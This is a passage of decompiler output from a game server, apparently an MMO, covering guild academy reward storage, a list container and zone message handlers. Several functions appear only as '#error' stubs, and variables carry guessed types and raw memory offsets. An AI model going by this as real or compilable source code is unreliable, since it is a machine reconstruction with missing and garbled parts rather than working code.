FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); __security_check_cookie(cookie); } // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00450B50) -------------------------------------------------------- void __thiscall ShineGuildAcademyRewardStorageRewardInfoZonRng::ShineGuildAcademyRewardStorageRewardInfoZonRng(ShineGuildAcademyRewardStorageRewardInfoZonRng *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring) { ShineGuildAcademyRewardStorageRewardInfoZonRng *v2; // eax@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v3; // ecx@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v4; // ecx@1 v2 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyRewardStorageRewardInfoZonRng::_vftable_; *(_QWORD *)&this->sgarsrzr_CenCmd.charid.n4_name[8] = 0i64; *(_QWORD *)&this->sgarsrzr_CenCmd.charid.n4_name[0] = 0i64; *(_QWORD *)&this->sgarsrzr_ItemCmd.charid.n4_name[8] = 0i64; *(_QWORD *)&this->sgarsrzr_ItemCmd.charid.n4_name[0] = 0i64; this->sgarsrzr_ItemInfo = ring; this->sgarsrzr_CenCmd.who = 3; *(_QWORD *)&this->sgarsrzr_CenCmd.charid.n4_name[0] = *(_QWORD *)&ring->sCharID.n4_name[0]; *(_QWORD *)&this->sgarsrzr_CenCmd.charid.n4_name[8] = *(_QWORD *)&ring->sCharID.n4_name[8]; v3 = this->sgarsrzr_ItemInfo; v2->sgarsrzr_CenCmd.type = 2; v2->sgarsrzr_CenCmd.item = 0; v2->sgarsrzr_CenCmd.slot = 0; LODWORD(v2->sgarsrzr_CenCmd.___u5.lot) = LODWORD(v3->Reward_Cen); HIDWORD(v2->sgarsrzr_CenCmd.___u5.lot) = HIDWORD(v3->Reward_Cen); LODWORD(v2->sgarsrzr_CenCmd.storage_cen) = LODWORD(v3->Storage_Cen); HIDWORD(v2->sgarsrzr_CenCmd.storage_cen) = HIDWORD(v3->Storage_Cen); v2->sgarsrzr_ItemCmd.who = 3; *(_DWORD *)&v2->sgarsrzr_ItemCmd.charid.n4_name[0] = *(_DWORD *)&v3->sCharID.n4_name[0]; *(_DWORD *)&v2->sgarsrzr_ItemCmd.charid.n4_name[4] = *(_DWORD *)&v3->sCharID.n4_name[4]; *(_DWORD *)&v2->sgarsrzr_ItemCmd.charid.n4_name[8] = *(_DWORD *)&v3->sCharID.n4_name[8]; *(_DWORD *)&v2->sgarsrzr_ItemCmd.charid.n4_name[12] = *(_DWORD *)&v3->sCharID.n4_name[12]; v4 = v2->sgarsrzr_ItemInfo; v2->sgarsrzr_ItemCmd.type = 0; v2->sgarsrzr_ItemCmd.item = v4[1].Start.handle; v2->sgarsrzr_ItemCmd.slot = 0; LODWORD(v2->sgarsrzr_ItemCmd.___u5.lot) = 0; HIDWORD(v2->sgarsrzr_ItemCmd.___u5.lot) = 0; LODWORD(v2->sgarsrzr_ItemCmd.storage_cen) = 0; HIDWORD(v2->sgarsrzr_ItemCmd.storage_cen) = 0; } // 5B0924: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageRewardInfoZonRng___vftable_)(unsigned int guild, __int16 GuildInven); //----- (00450C00) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendRewardInfoZoneRng2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring) { ShineGuildAcademyRewardStorageRewardInfoZonRng sgsd; // [sp+4h] [bp-64h]@2 unsigned int cookie; // [sp+58h] [bp-10h]@3 int v4; // [sp+64h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( ring ) { ShineGuildAcademyRewardStorageRewardInfoZonRng::ShineGuildAcademyRewardStorageRewardInfoZonRng(&sgsd, ring); LOBYTE(v4) = 1; List::l_4AllInList(dword_124E32CC, (ListIteratorDefault *)&sgsd); sgsd.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); __security_check_cookie(cookie); } // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00450CD0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (00450D20) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00450E40) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v2; // esi@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *v3; // edi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v4; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ring; v4 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( v2, ring->gldregnum, (unsigned __int16 *)&ring); if ( v4 ) GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther(v4, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther"); } //----- (00450EF0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v2; // esi@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *v3; // edi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v4; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ring; v4 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( v2, ring->gldregnum, (unsigned __int16 *)&ring); if ( v4 ) GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther(v4, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); } //----- (00450FA0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_ItemInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v2; // edi@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *v3; // esi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ring; if ( ring ) { v4 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( v2, ring->nGldregnum, (unsigned __int16 *)&ring); if ( v4 ) GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_ItemInfoZoneRngAtOther(v4, v3); } else { AssertClass::ac_AssertFail( &shineassert, "GuildAcademyRewardStorageManager::garsm_ItemInfoZoneRngAtOther - ring null", (int)ring); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); } //----- (00451070) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_RewardInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v2; // edi@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v3; // esi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ring; if ( ring ) { v4 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( v2, ring->nGuildNo, (unsigned __int16 *)&ring); if ( v4 ) GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_RewardInfoZoneRngAtOther(v4, v3); } else { AssertClass::ac_AssertFail(&shineassert, "::garsm_RewardInfoZoneRngAtOther - ring null", (int)ring); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); } //----- (00451140) -------------------------------------------------------- #error "451140: undefined or illegal type '#325' (funcsize=152)" //----- (00451340) -------------------------------------------------------- #error "451340: undefined or illegal type '#325' (funcsize=152)" //----- (00451540) -------------------------------------------------------- #error "451540: undefined or illegal type '#325' (funcsize=350)" //----- (00451A30) -------------------------------------------------------- #error "451A30: undefined or illegal type '#325' (funcsize=208)" //----- (00451CE0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (00451D10) -------------------------------------------------------- int __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_(int this, int a2) { int result; // eax@1 int v3; // edx@1 signed int v4; // ebp@1 const void *v5; // esi@2 void *v6; // edi@2 result = this; v3 = this + 4; v4 = 72; do { v5 = (const void *)(a2 - this + v3); v6 = (void *)v3; v3 += 116; --v4; memcpy(v6, v5, 0x74u); } while ( v4 ); *(_DWORD *)(this + 8360) = *(_DWORD *)(a2 + 8360); *(_DWORD *)(this + 8364) = *(_DWORD *)(a2 + 8364); *(_DWORD *)(this + 8368) = *(_DWORD *)(a2 + 8368); *(_BYTE *)(this + 8372) = *(_BYTE *)(a2 + 8372); return result; } //----- (00451D80) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (00451DB0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00451E00) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00451E50) -------------------------------------------------------- #error "451E50: undefined or illegal type 'ListArray' (funcsize=105)" //----- (00451FB0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { unsigned __int8 v2; // al@1 const void *v3; // esi@1 int v4; // ecx@4 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG tempring; // [sp+4h] [bp-44h]@4 unsigned int v6; // [sp+38h] [bp-10h]@5 int v7; // [sp+44h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = LOBYTE(netcmd[1].protocol); v3 = &netcmd[1]; v7 = 0; if ( v2 < 0xAu && *(_BYTE *)v3 != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v4 = (int)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = -26510; PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG::operator_(v4, (int)v3); ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, v3, 0x30u); BYTE7(tempring.storage_cen) = LOBYTE(netcmd[25].protocol); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther( &gldacademyrewardstoramanager, &tempring); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member( &gldacademyrewardstoramanager, &tempring); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG"); } else { --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG"); } __security_check_cookie(v6); } //----- (004520E0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { unsigned __int8 v2; // al@1 const void *v3; // esi@1 int v4; // ecx@4 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG tempring; // [sp+4h] [bp-44h]@4 unsigned int v6; // [sp+38h] [bp-10h]@5 int v7; // [sp+44h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = LOBYTE(netcmd[1].protocol); v3 = &netcmd[1]; v7 = 0; if ( v2 < 0xAu && *(_BYTE *)v3 != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v4 = (int)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = -26508; PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG::operator_(v4, (int)v3); ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, v3, 0x30u); BYTE7(tempring.storage_cen) = LOBYTE(netcmd[25].protocol); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther( &gldacademyrewardstoramanager, &tempring); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member( &gldacademyrewardstoramanager, &tempring); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); } else { --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); } __security_check_cookie(v6); } //----- (00452210) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { int v2; // esi@1 int v3; // ecx@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)&netcmd[1]; if ( LOBYTE(netcmd[1].protocol) < 0xAu && *(_BYTE *)v2 != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v3 = (int)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = -26494; PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG::operator_(v3, v2); ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 174); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_ItemInfoZoneRngAtOther( &gldacademyrewardstoramanager, (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *)v2); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendItemInfoZoneRng2Member( &gldacademyrewardstoramanager, (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *)v2); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); } //----- (00452300) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v2; // esi@1 signed int v3; // edi@1 char *v4; // eax@4 int v5; // eax@4 int v6; // edx@5 int v7; // ecx@5 int v8; // edx@7 char *v9; // [sp-14h] [bp-24h]@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *)&netcmd[1]; v3 = 0; if ( LOBYTE(netcmd[1].protocol) < 0xAu && v2->Start.machine != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26493; v5 = (int)(v4 + 2); *(_DWORD *)v5 = *(_DWORD *)&v2->Start.machine; *(_WORD *)(v5 + 4) = netcmd[3].protocol; *(_BYTE *)(v5 + 6) = LOBYTE(netcmd[4].protocol); *(_DWORD *)(v5 + 7) = *(_DWORD *)((char *)&netcmd[4].protocol + 1); *(_DWORD *)(v5 + 11) = *(_DWORD *)((char *)&netcmd[6].protocol + 1); *(_DWORD *)(v5 + 15) = *(_DWORD *)((char *)&netcmd[8].protocol + 1); *(_DWORD *)(v5 + 19) = *(_DWORD *)((char *)&netcmd[10].protocol + 1); *(_DWORD *)(v5 + 23) = *(_DWORD *)((char *)&netcmd[12].protocol + 1); *(_DWORD *)(v5 + 27) = *(_DWORD *)((char *)&netcmd[14].protocol + 1); *(_DWORD *)(v5 + 31) = *(_DWORD *)((char *)&netcmd[16].protocol + 1); *(_DWORD *)(v5 + 35) = *(_DWORD *)((char *)&netcmd[18].protocol + 1); *(_DWORD *)(v5 + 39) = *(_DWORD *)((char *)&netcmd[20].protocol + 1); *(_BYTE *)(v5 + 43) = HIBYTE(netcmd[22].protocol); if ( HIBYTE(netcmd[22].protocol) ) { v6 = (int)((char *)v2 - v5); v7 = v5 + 44; while ( 1 ) { v8 = v7 + v6; *(_DWORD *)v7 = *(_DWORD *)v8; *(_DWORD *)(v7 + 4) = *(_DWORD *)(v8 + 4); *(_BYTE *)(v7 + 8) = *(_BYTE *)(v8 + 8); ++v3; v7 += 9; if ( v3 >= SHIBYTE(netcmd[22].protocol) ) break; v6 = (int)((char *)v2 - v5); } } ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 9 * *(_BYTE *)(v5 + 43) + 46); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_RewardInfoZoneRngAtOther( &gldacademyrewardstoramanager, v2); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendRewardInfoZoneRng2Member( &gldacademyrewardstoramanager, v2); v9 = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; } else { v9 = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); } //----- (00452480) -------------------------------------------------------- void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed(MemoryQueueGuildReName *this) { *(_QWORD *)&this->sGuildName.n4_name[8] = 0i64; *(_QWORD *)&this->sGuildName.n4_name[0] = 0i64; } //----- (00452490) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (004524B0) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueGuildReType *content) { unsigned int v3; // eax@1 v3 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); this->mq_Pointer.value = v3; this->mq_Buffer[v3].handle = hnd; this->mq_Buffer[this->mq_Pointer.value].content.nType = content->nType; return LOWORD(this->mq_Pointer.value); } //----- (004524F0) -------------------------------------------------------- void __thiscall MemoryQueueElement::MemoryQueueElement(MemoryQueueElement *this) { PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed(&this->content); } //----- (00452500) -------------------------------------------------------- void __usercall ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ(int a1, int a2, int netcmd) { int v3; // esi@1 int v4; // eax@5 const char *v5; // ST08_4@8 signed int v6; // eax@8 ItemInventoryCell *v7; // edi@14 SpecialItemIdent *v8; // ebp@14 unsigned int v9; // eax@18 unsigned __int16 v10; // ax@20 ItemDataBox::ItemDataBoxIndex *v11; // eax@20 int v12; // eax@22 char *v13; // edi@26 char v14; // al@26 ZoneBaseSession *v15; // eax@27 signed int v16; // [sp-4h] [bp-24h]@15 signed int v17; // [sp+0h] [bp-20h]@4 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v19; // [sp+1Ch] [bp-4h]@1 v3 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; if ( !(_S10_6 & 1) ) { _S10_6 |= 1u; cmc_38.cmc_AllowMode = 86; atexit(_E11_9); } if ( !((1 << **(_BYTE **)(v3 + 3716)) & cmc_38.cmc_AllowMode) ) { v17 = 6721; LABEL_30: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 29, 173, v17); goto LABEL_31; } v4 = *(_DWORD *)(v3 + 98); if ( !v4 || !*(_BYTE *)(*(_DWORD *)(v4 + 12) + 158) ) { v17 = 6722; goto LABEL_30; } if ( !(*(_BYTE *)(v3 + 69416) & 0xC) ) { v5 = (const char *)*(_BYTE *)(netcmd + 2); v6 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)(v3 + 35536) + 8))( v3 + 35536, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ : wrong slot"); if ( AssertClass::operator__(&shineassert, *(_BYTE *)(netcmd + 2) < v6, v5, a2) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v3 + 